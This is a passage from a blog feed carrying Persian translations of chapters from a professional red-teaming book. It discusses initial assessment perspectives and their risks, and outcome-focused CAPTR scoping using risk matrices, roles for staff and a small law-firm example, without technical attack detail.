<p>در این روش، شیوه بررسی قسمت‌های مختلف سطح حمله سازمان نسبت به سه روش قبلی متفاوت است. مثلاً در شروع ارزیابی با چشم‌انداز خارجی، بیشترین ارزش و بهره زمانی به دست می‌آید که حداکثر تعداد ممکن آسیب‌پذیری‌ها در محیطی که با اینترنت تماس دارد شناسایی شود. احتمالاً این شرایط باعث می‌شود که تیم ارزیابی از آسیب‌پذیری‌های شناخته شده برای حرکت عمیق‌تر در شبکه استفاده نکند مگر اینکه کل سطح حمله خارجی ارزیابی شده باشد. این تلاش برای پوشش کامل سطح حمله در سایر چشم‌اندازهای ارزیابی هم اهمیت دارد. در شروع ارزیابی با چشم‌انداز حیاتی نیاز نیست که لایه بعدی به صورت کامل ارزیابی شود بلکه تمرکز چشم‌انداز حیاتی، چگونگی حرکت مهاجمان به سمت ماشین‌ها یا داده‌هایی است که آسیب رسیدن به آنها غیرقابل قبول تلقی می‌شود. به جای جستجوی همه آسیب‌پذیری‌ها در سطح حمله، این روش متمرکز بر نقاطی است که به مهاجمان امکان می‌دهند در شبکه حرکت کرده و به آیتم‌های حیاتی نفوذ کنند.</p>
<h2><a name="_Toc144125182"></a>مزایا و معایب</h2>
<p>هدف ارزیابی امنیتی، کاهش ریسک کلی برای سازمان است و هر یک از این چشم‌اندازها ارزش خودشان را دارند. بنابراین، جمع این نتایج می‌تواند منجر به ایجاد یک استراتژی ارزیابی امنیتی کارآمد شود که حداکثر سطح حمله ممکن را برای سازمان ارزیابی کرده و حداکثر تعداد تهدیدات ممکن را شناسایی می‌کند. به این ترتیب، سازمان قادر خواهد بود که با بیشترین میزان ریسک مقابله کند. ممکن است برای شروع یک ارزیابی امنیتی جامع، هر چشم‌اندازی در هر شرایطی مناسب نباشد. بنابراین، لازم است نگاهی عمیق‌تر از ارزش هر روش برای ارزیابی ریسک و سطح حمله داشت و مزایا و معایب دیگر این روش‌ها را هم در نظر گرفت. به این ترتیب، ارزیاب می‌تواند مناسب‌ترین چشم‌اندازها را انتخاب کرده و مشخص کند که کدام یک برای هر سناریوی خاص مناسب و عملی هستند.</p>
<h3><a name="_Toc144125183"></a>ایجاد ریسک</h3>
<p>در هر ارزیابی امنیتی پیش از شروع تست، باید مراحل بسیار مهم تعیین محدود و ROE طی شوند. برای شروع ارزیابی یک سازمان، باید فرایندهای دقیق خاصی طی شود که شیوه اجرای تست را مشخص می‌کنند. چشم‌اندازهای اولیه مختلف، از نظر درک و توافق بر سر تعیین محدوده و قوانین اجرای ریسک، پیچیدگی‌های متفاوتی دارند. برای اینکه سازمان بتواند سطح ریسک قابل قبول در اجرای تست را تعیین کند، باید از محدوده و ROE کمک گرفت.</p>
<p>ریسک به دو روش ایجاد می‌شود. اول اینکه ممکن است فرایند ارزیابی امنیتی با قطع دسترسی به یک دستگاه یا سرویس مهم، باعث ایجاد ریسک برای سازمان شود. دوماً ممکن است دسترسی‌های مورد نیاز برای اجرای ارزیابی با یک چشم‌انداز خاص، باعث افزایش سطح حمله یا شدت آن شود.</p>
<h3><a name="_Toc144125184"></a>چشم‌انداز خارجی و ریسک ناشی از آن</h3>
<p>سطح حمله‌ای که در ابتدا ارزیابی می‌شود، باید متشکل از دستگاه‌ها و سرویس‌هایی باشد که عمداً از طریق اینترنت در دسترس قرار گرفته‎اند. این یعنی، چنین دستگاه‌ها و سرویس‌هایی باید انتظار دریافت حجم زیادی ترافیک و حمله را داشته باشند. اما فشار ناشی از اسکن و تلاش برای بهره برداری هم می‌توانند چنین دستگاه‌هایی را از کار بیندازد. گرچه این ریسک کم است اما باید به آن توجه داشت چون از دسترس خارج شدن سرویس‌های در تماس با اینترنت، می‌تواند بر کاربران خارجی و داخلی سازمان تأثیر نامطلوبی داشته باشد. از آنجایی که برای شروع ارزیابی از چشم‌انداز خارجی، تیم ارزیابی نیازی به دسترسی اولیه داخلی ندارد، اجرای چنین ارزیابی سطح حمله را گسترش نمی‌دهد.</p>
<h3><a name="_Toc144125185"></a>چشم‌انداز DMZ و ریسک ناشی از آن</h3>
<p>مثل چشم‌انداز خارجی، چشم‌انداز DMZ هم در ابتدا متمرکز بر سرویس‌ها و دستگاه‌هایی است که برای ترافیک اینترنتی در نظر گرفته شده بودند. ریسک از دسترس خارج شدن این دستگاه‌ها و سرویس‌ها در اثر اجرای ارزیابی کم است. بررسی دستگاه‌های منطقه DMZ توسط تیم ارزیابی نباید باعث ایجاد ریسک اضافه شود چون هدف DMZ، تفکیک برخی از دستگاه‌ها از سایر بخش‌های شبکه است. احتمال ایجاد پیامدهای ناخواسته در اثر تلاش برای اسکن و بهره برداری هم کمی بیشتر است چون چشم‌انداز ارزیابی DMZ، دستگاه‌ها را از یک موقعیت جانبی در DMZ ارزیابی می‌کنند نه از طریق اینترنت. ممکن است دستگاه‌ها آمادگی مدیریت این ترافیک جانبی را نداشته باشند و این موضوع می‌تواند مشکل آفرین شود. این چشم‌انداز مستلزم در نظر گرفتن یک نقطه حضور مشخص در DMZ است که ارزیابی‌ها از آن شروع می‌شوند. گرچه این روش به تیم ارزیابی امکان می‌دهد که ارزیابی را یک سطح عمیق‌تر در سازمان شروع کنند اما ریسک آن باز هم ناچیز است. با توجه به ماهیت خاص DMZ، دسترسی تیم ارزیابی از شبکه داخلی تفکیک شده در نتیجه ریسک اضافه کمی دارد.</p>
<h3><a name="_Toc144125186"></a>چشم‌انداز داخلی و ریسک ناشی از آن</h3>
<p>شروع ارزیابی از چشم‌انداز داخلی امکان تعامل فوری با دستگاه‌ها و سرویس‌هایی که قرار نبوده در دسترس عموم باشند را فراهم می‌کند. احتمال روبرو شدن این دستگاه‌ها با اسکن یا بهره برداری سنگین کمتر است بنابراین، شروع ارزیابی از این چشم‌انداز با ریسک همراه است. احتمال قطع دسترسی به خدمات در اثر محروم سازی از سرویس، برای کاربران داخلی بیشتر است تا کاربران بیرونی. بعلاوه، احتمال اینکه قطع دسترسی ناشی از این ارزیابی بر عملکردهای سازمانی تأثیر داشته باشد، زیاد است. همچنین، این روش ارزیابی می‌تواند سطح حمله را گسترش دهد. با توجه به اینکه دسترسی‌های لازم توسط سازمان یا با نصب موفقیت آمیز بدافزار فراهم می‌شود، تیم‌های ارزیابی که از این روش استفاده می‌کنند، ابزارهای دسترسی خاصی را به سازمان اضافه خواهند کرد.</p>
<h3><a name="_Toc144125187"></a>چشم‌انداز حیاتی و ریسک ناشی از آن</h3>
<p>چشم‌انداز حیاتی نسبت به سایر چشم‌اندازهای اولیه، ریسک بیشتری برای عملیات سازمانی ایجاد می‌کند. آیتم‌های مورد استفاده برای شروع این ارزیابی، جزء آیتم‌هایی هستند که برای سازمان نقش حیاتی دارند. هر آسیبی که در اثر اجرای ارزیابی به دستگاه‌ها وارد شود، می‌تواند نقش مخربی در عملکرد سازمان داشته باشد. ریسک ناشی از افزایش سطح حمله هم نسبتاً زیاد است. مثل چشم‌انداز داخلی، شروع ارزیابی با چشم‌انداز حیاتی هم مستلزم فراهم شدن یک مسیر دسترسی برای تیم ارزیابی است. سطح حمله ایجاد شده برای سازمان در این حالت خطرناک‌تر است چون ارتباط مستقیمی با آیتم‌های حیاتی دارد. سوء استفاده از مسیرهای دسترسی ایجاد شده برای تیم ارزیابی می‌تواند برای سازمان به شدت خطرناک باشد. برای اجرای چنین ارزیابی‌هایی باید بسیار مراقب بود.</p>
<h2><a name="_Toc144125188"></a>خلاصه فصل یازدهم</h2>
<p>در این فصل، به بررسی چشم‌انداز حیاتی مورد استفاده برای شروع ارزیابی تیم CAPTR و سایر چشم‌اندازهای اولیه پرداختیم. همچنین یک تحلیل کامل از تأثیر چشم‌اندازهای اولیه بر فرایند ارزیابی امنیتی و نتایج آن انجام شد. انتظار می‌رود که پس از مطالعه این فصل، مخاطبان درک بیشتری از چشم‌اندازهای اولیه و مزایای چشم‌انداز حیاتی داشته باشند.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>کتاب تیم قرمز حرفه‌ای &#8211; فصل دهم</title>
		<link>https://blog.peneter.com/professional-red-teaming-chapter-10/</link>
		
		<dc:creator><![CDATA[Peneter]]></dc:creator>
		<pubDate>Wed, 16 Apr 2025 15:47:32 +0000</pubDate>
				<category><![CDATA[کتاب]]></category>
		<guid isPermaLink="false">https://blog.peneter.com/?p=1405</guid>

					<description><![CDATA[فصل دهم: تعیین محدوده به صورت نتیجه محور تعیین محدوده توسط تیم CAPTR یک فرایند چند مرحله‌ای با تمرکز بر آیتم‌هایی است که نفوذ به...]]></description>
										<content:encoded><![CDATA[<h1>فصل دهم: تعیین محدوده به صورت نتیجه محور</h1>
<p>تعیین محدوده توسط تیم CAPTR یک فرایند چند مرحله‌ای با تمرکز بر آیتم‌هایی است که نفوذ به آنها تأثیر مرگبار یا حیاتی دارد. اگر قرار باشد آیتم‌های اولیه انتخاب شده برای ارزیابی به اجرای موفقیت آمیز عملیات تیم CAPTR کمک کنند، تعیین محدوده ارزیابی به این روش ضروری است. فرایند تعیین محدوده برای عملیات تیم CAPTR نسبت به تیم قرمز سنتی نتیجه محورتر است چون بهره وری و هزینه-مزایای این کار ارتباط مستقیمی با شناسایی درست و مناسب آیتم‌هایی با نفوذ مرگبار یا کشنده و در نظر گرفتن آنها در محدوده دارد. شناسایی این دارایی‌ها توسط پرسنل مناسب و مرتبط به ارزیابی ریسک سناریوی بدترین حالت، تحلیل مرکزیت و اولویت بندی اهداف بالقوه انجام می‌شود.</p>
<h2><a name="_Toc144125160"></a>ارزیابی ریسک بدترین حالت</h2>
<p>در روش سنتی مدیریت ریسک و اولویت بندی دارایی‌ها، مدیر سازمان از یک ماتریس ریسک استاندارد استفاده می‌کند تا مشخص کند که کدامیک از آیتم‌ها بیشترین ریسک را دارند (قسمت‌های پررنگ شده در جدول 10-1) و باید زودتر به آنها رسیدگی شود.</p>
<p style="text-align: center;">جدول 10-1 تمرکز ریسک تیم قرمز</p>
<table width="462">
<tbody>
<tr>
<td rowspan="2" width="102"><strong>احتمال/عواقب</strong></td>
<td colspan="5" width="360"><strong>ریسک</strong></td>
</tr>
<tr>
<td width="92"><strong>کم اثر</strong></td>
<td width="58"><strong>جزئی</strong></td>
<td width="72"><strong>متوسط</strong></td>
<td width="71"><strong>بزرگ</strong></td>
<td width="68"><strong>حیاتی</strong></td>
</tr>
<tr>
<td width="102">تقریباً قطعی</td>
<td width="92">متوسط</td>
<td width="58">زیاد</td>
<td width="72"><strong>بسیار زیاد</strong></td>
<td width="71"><strong>بسیار زیاد</strong></td>
<td width="68"><strong>بسیار زیاد</strong></td>
</tr>
<tr>
<td width="102">محتمل</td>
<td width="92">متوسط</td>
<td width="58">زیاد</td>
<td width="72"><strong>زیاد</strong></td>
<td width="71"><strong>بسیار زیاد</strong></td>
<td width="68"><strong>بسیار زیاد</strong></td>
</tr>
<tr>
<td width="102">ممکن</td>
<td width="92">کم</td>
<td width="58">متوسط</td>
<td width="72">زیاد</td>
<td width="71">زیاد</td>
<td width="68"><strong>بسیار زیاد</strong></td>
</tr>
<tr>
<td width="102">بعید</td>
<td width="92">کم</td>
<td width="58">کم</td>
<td width="72">متوسط</td>
<td width="71">متوسط</td>
<td width="68">زیاد</td>
</tr>
<tr>
<td width="102">نادر</td>
<td width="92">کم</td>
<td width="58">کم</td>
<td width="72">کم</td>
<td width="71">کم</td>
<td width="68">متوسط</td>
</tr>
</tbody>
</table>
<p>با اجرای عملیات تیم CAPTR رهبر سازمان درک می‌کند که &#8220;احتمال&#8221; برای آیتم‌های حیاتی یا مرگبار مهم نیست و باید فرض کرد که نفوذ به آنها ممکن و محتمل است. این کار به منظور مقابله حداکثری با فعالیت مهاجمان تهدیدات پیشرفته انجام می‌شود. اگر یک مهاجم APT به دنبال هدف گرفتن چنین آیتم‌هایی در سازمان باشد، دیر یا زود این آیتم‌ها تحت حمله قرار می‌گیرند. این رویکرد باعث می‌شود که اولویت دهی ریسک به سمت رسیدگی به آیتم‌هایی متمرکز شود که در ماتریس ریسک معمولی در ستون حیاتی قرار دارند (در جدول 10-2 به صورت پررنگ مشخص شده است) چون بدترین حالت ممکن در نظر گرفته می‌شود و احتمال تلاش برای نفوذ و موفقیت آن تقریباً قطعی در نظر گرفته می‌شود.</p>
<p style="text-align: center;">جدول 10-2 تمرکز ریسک تیم CAPTR</p>
<table width="501">
<tbody>
<tr>
<td rowspan="2" width="149"><strong>احتمال/عواقب</strong></td>
<td colspan="5" width="352"><strong>ریسک</strong></td>
</tr>
<tr>
<td width="90"><strong>کم اثر</strong></td>
<td width="57"><strong>جزئی</strong></td>
<td width="70"><strong>متوسط</strong></td>
<td width="69"><strong>بزرگ</strong></td>
<td width="66"><strong>حیاتی</strong></td>
</tr>
<tr>
<td width="149">تقریباً قطعی</td>
<td width="90">متوسط</td>
<td width="57">زیاد</td>
<td width="70">بسیار زیاد</td>
<td width="69">بسیار زیاد</td>
<td width="66"><strong>بسیار زیاد</strong></td>
</tr>
<tr>
<td width="149">محتمل</td>
<td width="90">متوسط</td>
<td width="57">زیاد</td>
<td width="70">زیاد</td>
<td width="69">بسیار زیاد</td>
<td width="66"><strong>بسیار زیاد</strong></td>
</tr>
<tr>
<td width="149">ممکن</td>
<td width="90">کم</td>
<td width="57">متوسط</td>
<td width="70">زیاد</td>
<td width="69">زیاد</td>
<td width="66"><strong>بسیار زیاد</strong></td>
</tr>
<tr>
<td width="149">بعید</td>
<td width="90">کم</td>
<td width="57">کم</td>
<td width="70">متوسط</td>
<td width="69">متوسط</td>
<td width="66"><strong>زیاد</strong></td>
</tr>
<tr>
<td width="149">نادر</td>
<td width="90">کم</td>
<td width="57">کم</td>
<td width="70">کم</td>
<td width="69">کم</td>
<td width="66"><strong>متوسط</strong></td>
</tr>
</tbody>
</table>
<h2><a name="_Toc144125161"></a>انتخاب افراد مناسب</h2>
<p>سوالی که در تعیین محدوده تیم CAPTR پرسیده می‌شود این است که: این سازمان توانایی مقاومت در برابر چه نفوذهایی را ندارد؟ پیدا کردن پاسخ درست این سوال، به همه جوانب سازمان مشتری و همچنین تخصص امنیت تهاجمی تیم ارزیابی بستگی دارد. مثل عملیات تیم قرمز سنتی، در این روش هم برای تعیین درست و مناسب محدوده نیاز به حضور کارمندان بخش امنیت و زیرساخت وجود دارد اما یکی از تفاوت‌های آشکار این دو، حضور کارشناسان امنیت تهاجمی در تعیین محدوده عملیات CAPTR است. همانطور که قبلاً اشاره شد، معمولاً [در روش سنتی] محدوده توسط مشتری و پیش از شروع ارزیابی مشخص شده و برای اجرای عملیات بیشتر نقش یک عامل محدود کننده را دارد تا توانمندساز. همچنین [در روش CAPTR] مشارکت پرسنل هم ترتیب مشخصی دارد چون شکل دهی محدوده CAPTR یک روند رو به تکامل است که در نهایت با اولویت بندی دارایی‌ها و تعیین سطح ریسک به پایان می‌رسد.</p>
<h2><a name="_Toc144125162"></a>پرسنل عملیاتی</h2>
<p>مشارکت کارمندان عملیاتی در تعیین محدوده، مربوط به حضور مدیران اجرایی، عملیاتی و عملکردی سطح بالا است. از این افراد سوال می‌شود که: چه چیزی می‌تواند آسیب‌های جبران ناپذیری به سازمان شما وارد کند؟ ممکن است این اتفاق از دست دادن مالکیت معنوی باشد یا افشای اطلاعات حساس مشتریان مثل اطلاعات مالی، HIPAA و داده‌های دیگر. بدتر اینکه، ممکن است این اتفاق از دست رفتن جان انسان‌ها در اثر یک نفوذ سایبری باشد. صرف نظر از نوع نفوذهای کشنده یا حیاتی که ممکن است برای یک سازمان رخ دهد، احتمال اطلاع مدیران غیرفنی، از نوع اتفاقات قابل تحمل برای سازمان که پس از آن سازمان همچنان پابرجا خواهد بود بیشتر است.</p>
<h2><a name="_Toc144125163"></a>پرسنل فنی</h2>
<p>پس از مشخص شدن آیتم‌هایی با نفوذ مرگبار یا حیاتی توسط کارمندان عملیاتی، پرسنل فنی وارد عمل می‌شوند تا اهداف بالقوه را برای ارزیای تیم CAPTR مشخص کنند. ممکن است کارمندان عملیاتی از انواع آسیب‌های قابل جبران برای سازمان اطلاع داشته باشند اما احتمال آشنایی با سطح حمله مربوط به چنین اهدافی توسط پرسنل فنی بیشتر است. مثلاً، فرض کنید که شرکتی یک مالکیت معنوی خاص داشته باشد که افشای آن باعث نابودی آن شرکت شود. پرسنل عملیاتی در جریان هستند که چه مالکیت معنوی مهم است اما پرسنل فنی اطلاع دارند که چه دستگاه‌هایی این اطلاعات مالکیت معنوی را مدیریت، ذخیره و حفاظت می‌کنند. با مشارکت پرسنل فنی، حالا محدوده کامل‌تر شده و مالکیت معنوی و سیستم‌های مسئول حفاظت و دسترسی به آن را مشخص می‌کنند.</p>
<h2><a name="_Toc144125164"></a>پرسنل ارزیابی</h2>
<p>همانطور که پیش از این اشاره شد، حضور پرسنل فنی و عملیاتی سازمان در بحث‌های تعیین محدوده ضروری است. این کار بیشتر به این منظور انجام می‌شود که تیم قرمز واقعاً توانایی رسیدگی و مدیریت آنچه در تعیین محدوده مشخص شده را داشته باشد. در تیم CAPTR، پرسنل ارزیاب در تعیین نیازهای واقعی که مشخص کننده محدوده هستند، مشارکت دارند. پس از مشخص کردن آیتم‌هایی که نفوذ به آنها مرگبار یا حیاتی است و تعیین سطح حمله مربوط به آنها توسط کارمندان فنی و عملیاتی مشتری، کارشناسان امنیت تهاجمی شروع به ارزیابی مسیرهایی می‌کنند که به نفوذ به آن سطح حمله کمک می‌کنند. حالا تعیین محدوده تیم CAPTR مشخص کرده که چه اطلاعاتی نباید فاش شوند، نفوذ به کدام ماشین‌ها معادل از دست دادن آنها است و کدام ماشین‌ها احتمالاً در تلاش برای نفوذ حضور خواهند داشت. همانطور که قبلاً اشاره شد، خروجی مطلوب ارزیابی تیم CAPTR مقابله با حملات مستمر پیشرفته‌ای است که احتمال نفوذ مرگبار یا حیاتی را ایجاد می‌کنند و فرایند تعیین محدوده هم باید متناسب با این هدف انجام شود.</p>
<h2><a name="_Toc144125165"></a>یک نمونه محدوده</h2>
<p>برای درک بیشتر توضیحات، فرض کنید سازمانی که درخواست اجرای عملیات تیم CAPTR را دارد، یک شرکت حقوقی کوچک با 30 کارمند است. دیاگرام این شرکت در شکل 10-1 مشخص شده است.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1411 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-1.jpg" alt="" width="500" height="375" srcset="https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-1.jpg 500w, https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-1-300x225.jpg 300w, https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-1-100x75.jpg 100w" sizes="auto, (max-width: 500px) 100vw, 500px" /></p>
<p style="text-align: center;">شکل 10-1 شبکه نمونه</p>
<p>در شروع گفتگوهای تعیین محدوده، مدیر عامل اجرایی (CEO<a href="#_ftn1" name="_ftnref1">[1]</a>) و وکلای ارشد، توضیح می‌دهند که افشای فایل مربوط به پرونده‌های باز و مختومه می‌تواند باعث نابودی شرکت شود. اگر فایل پرونده‌های باز افشا شود، باعث شرمساری شرکت، خشم مشتریان و از دست دادن این پرونده‌ها خواهد شد. افشای اطلاعات پرونده‌های مختومه هم نقض قانون محرمانگی اطلاعات بین وکیل-مشتری خواهد بود، منجر به از بین رفتن اعتماد شده و خسارت‌های مالی ناشی از شکایت‌های قانونی پس از آن، جبران ناپذیر است.</p>
<p>مدیر ارشد فنی (CTO<a href="#_ftn2" name="_ftnref2">[2]</a>)، کارمندان بخش فناوری اطلاعات و مدیران شرکت هم سطح حمله‌ای که احتمالاً شامل نفوذ کشنده است را مشخص می‌کنند. طبق توضیحات این افراد، برای فایل‌های پرونده‌های باز و بسته سرورهایی مجزا وجود دارد به همراه یک سرور پشتیبان که آرشیو هر دو در آنها قرار دارد. همچنین آنها توضیح می‌دهند که دسترسی به این سرورها محدود به کارمندان بخش حقوقی درون سازمان است و افراد بخش عملیاتی مثل کارمندان منابع انسانی به آنها دسترسی ندارند. تیم ارزیابی پس از شنیدن همه صحبت‌ها، به این نتیجه می‌رسد که احتمالاً حمله از سمت سیستم‌های مربوط به کارمندان حقوقی یا سیستم‌های مدیریتی شروع می‌شود. در این مرحله از فرایند تعیین محدوده تیم CAPR، محدوده اولیه می‌تواند شامل ماشین‌های منتخبی باشد که در شکل 10-2 مشخص شده‌اند.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1412 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-2.jpg" alt="" width="600" height="450" srcset="https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-2.jpg 600w, https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-2-300x225.jpg 300w, https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-2-100x75.jpg 100w" sizes="auto, (max-width: 600px) 100vw, 600px" /></p>
<p style="text-align: center;">شکل 10-2 محدوده اولیه CAPTR</p>
<h2><a name="_Toc144125166"></a>تحلیل مرکزی</h2>
<p>حالا که نقاط نفوذ مرگبار و سطح حمله مربوط به آن مشخص شد، تحلیل مرکزی انجام می‌شود تا مشخص شود که نقطه اوج قرار گرفتن سازمان در معرض خطر، کجا است. شکل 10-3 یک نمایش منطقی از آیتم‌هایی که در محدوده ارزیابی قرار گرفته‌اند است. اتصالات سیاه رنگ مربوط به ارتباطات مدیریتی و خطوط خاکستری رنگ نشان دهنده ارتباطات مربوط به دسترسی هستند.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1413 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-3.jpg" alt="" width="600" height="308" srcset="https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-3.jpg 600w, https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-3-300x154.jpg 300w, https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-3-100x51.jpg 100w" sizes="auto, (max-width: 600px) 100vw, 600px" /></p>
<p style="text-align: center;">شکل 10-3 نگاشت منطقی</p>
<p>این نوع نمایش گرافیکی به شناسایی حد آستانه مناسب برای عملیات CAPTR کمک می‌کند. همچنین این روش امکان تشخیص نقطه اوج ریسک را برای سازمان فراهم می‌کند یعنی نقطه‌ای از شبکه که بیشتر از سایر نقاط وجود سازمان را تهدید می‌کند. با توجه به اینکه سرور پشتیبان فایل پرونده‌ها هم جزء آیتم‌هایی با احتمال نفوذ مرگبار و هم نقطه کانونی پایانه‌های ارتباطی است، این سرور نقطه اوج ریسک برای شرکت حقوقی محسوب می‌شود (شکل 10-4 را ببینید).</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1414 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-4.jpg" alt="" width="600" height="311" srcset="https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-4.jpg 600w, https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-4-300x156.jpg 300w, https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-4-100x52.jpg 100w" sizes="auto, (max-width: 600px) 100vw, 600px" /></p>
<p style="text-align: center;">شکل 10-4 اوج ریسک</p>
<p>ارزیابی‌های تیم CAPTR از نظر هزینه-مزایا برای سازمان مشتری بسیار مقرون به صرفه هستند چون ماهیت متمرکزی داشته، محدوده آنها تا حد ممکن به اوج ریسک نزدیک است و این محدوده متناسب با مهلت اجرای ارزیابی انتخاب می‌شود. در صورت طولانی‌تر بودن فرصت اجرای ارزیابی، ممکن است عملیات تیم CAPTR علاوه بر سرورهایی با احتمال نفوذ کشنده، ماشین‌های مربوط به کنترل کننده دامنه و ادمین را هم پوشش دهد. دلیل اهمیت زیاد نفوذ به این سیستم‌ها، انبوه ارتباطات مدیریتی و دسترسی است که از دارایی‌های تحت مدیریت به سرورهای نفوذ کشنده جریان دارند. این نوع محدوده در شکل 10-5 مشخص شده است.</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1415 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-5.jpg" alt="" width="600" height="308" srcset="https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-5.jpg 600w, https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-5-300x154.jpg 300w, https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-5-100x51.jpg 100w" sizes="auto, (max-width: 600px) 100vw, 600px" /></p>
<p style="text-align: center;">شکل 10-5 آستانه اولیه برای محدوده عملیات CAPTR</p>
<p>اما در ارزیابی ما، فرصت اجرای عملیات کمتر و محدوده فقط شامل سرورهای ذخیره فایل پرونده‌ها و پشتیبان آنها است (شکل‌های 10-6 و 10-7 را ببینید).</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1416 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-6.jpg" alt="" width="600" height="307" srcset="https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-6.jpg 600w, https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-6-300x154.jpg 300w, https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-6-100x51.jpg 100w" sizes="auto, (max-width: 600px) 100vw, 600px" /></p>
<p style="text-align: center;">شکل 10-6 نمایش محدوده CAPTR منطقی</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-1417 aligncenter" src="https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-7.jpg" alt="" width="601" height="450" srcset="https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-7.jpg 601w, https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-7-300x225.jpg 300w, https://blog.peneter.com/wp-content/uploads/2025/04/professional-red-teaming-fig-10-7-100x75.jpg 100w" sizes="auto, (max-width: 601px) 100vw, 601px" /></p>
<p style="text-align: center;">شکل 7-10 نمایش محدوده CAPTR فیزیکی</p>
<p>این نمودارها نسبتاً ساده هستند اما رسم چنین نمودارهایی &#8211; و توضیحات تعیین محدوده که منجر به رسم آنها شده است &#8211; به تیم‌های CAPTR امکان می‌دهد که در صنعت امنیت تهاجمی کار بسیار متفاوتی را انجام دهند. شیوه تعیین محدوده در عملیات تیم CAPTR به سازمان‌ها کمک می‌کند تا علاوه بر شناسایی دارایی‌های با ارزش خودشان، مشخص کنند که از نظر مهاجمان کدام دارایی‌ها با ارزش هستند. این اطلاعات به تنهایی به کارمندان امنیت سازمان امکان می‌دهند که پیش از شروع ارزیابی، متمرکز بر آنچه واقعاً برای سازمان اهمیت دارد و دستگاه‌هایی که سطح حمله آیتم‌های مهم را تشکیل می‌دهند، شوند.</p>
<p>محدوده CAPTR در این مثال منجر به شناسایی سه دستگاهی شد که بر اساس ریسکی که برای سازمان ایجاد می‌کنند و با توجه به زمان در نظر گرفته شده برای ارزیابی آنها، محدوده اولیه ارزیابی را تشکیل می‌دهند. گفتگوهایی که پس از این، برای تعیین محدوده انجام می‌شوند با توجه به این اطلاعات یک هدف دیگر دارند یعنی اولویت بندی. در مثال ما انجام این کار نسبتاً ساده است. قبلاً مشخص کردیم که سرور پشتیبان، نقطه اوج ریسک برای سازمان است و باید بیشترین اولویت را داشته باشد. بین سرورهای پرونده‌های باز و بسته، احتمالاً سرور حاوی اطلاعات پرونده‌های باز دومین اولویت و سرور پرونده‌های بسته سومین اولویت را داشته و آخرین دستگاه در محدوده تیم CAPTR است. این ترتیب بر اساس احتمال از دست رفتن (یا سرقت) اطلاعات مشخص شده و داده‌های سروری که حاوی فایل‌های پرونده‌های باز است، مهم‌ترین داده‌های در معرض خطر هستند.</p>
<h2><a name="_Toc144125167"></a>خلاصه فصل دهم</h2>
<p>در این فصل به بررسی مراحل لازم برای تعیین محدوده ارزیابی تیم CAPTR پرداختیم، که عبارت بودند از:</p>
<ol>
<li>پرسنل عملیاتی، آیتم‌هایی با امکان نفوذ حیاتی را کشنده را شناسایی می‌کنند.</li>
<li>پرسنل فنی، سطح حمله مربوط به آن آیتم‌ها را مشخص می‌کنند.</li>
<li>تیم ارزیابی، دستگاه‌هایی که بر علیه این سطح حمله از آنها استفاده می‌شوند را مشخص می‌کنند.</li>
<li>یک حد آستانه برای ارزیابی ریسک مشخص شده و آیتم‌های درون محدوده شناسایی می‌شوند.</li>
</ol>
<p>5. دارایی‌ها اولویت بندی می‌شوند.</p>
<p><a href="#_ftnref1" name="_ftn1">[1]</a> chief executive officer</p>
<p><a href="#_ftnref2" name="_ftn2">[2]</a> chief technical officer</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>کتاب تیم قرمز حرفه‌ای &#8211; فصل نهم</title>
		<link>https://blog.peneter.com/professional-red-teaming-chapter-9/</link>
					<comments>https://blog.peneter.com/professional-red-teaming-chapter-9/#respond</comments>
		
		<dc:creator><![CDATA[Peneter]]></dc:creator>
		<pubDate>Sun, 19 Jan 2025 09:43:16 +0000</pubDate>
				<category><![CDATA[کتاب]]></category>
		<guid isPermaLink="false">https://blog.peneter.com/?p=1393</guid>

					<description><![CDATA[فصل نهم: تیم قرمز ضد APT عملیات تیم قرمز ضد APT (تشکیل تیم CAPTR[1]) روشی برای اجرای عملیات تیم قرمز معکوس است که من در...]]></description>
										<content:encoded><![CDATA[<h1>فصل نهم: تیم قرمز ضد <strong>APT</strong></h1>
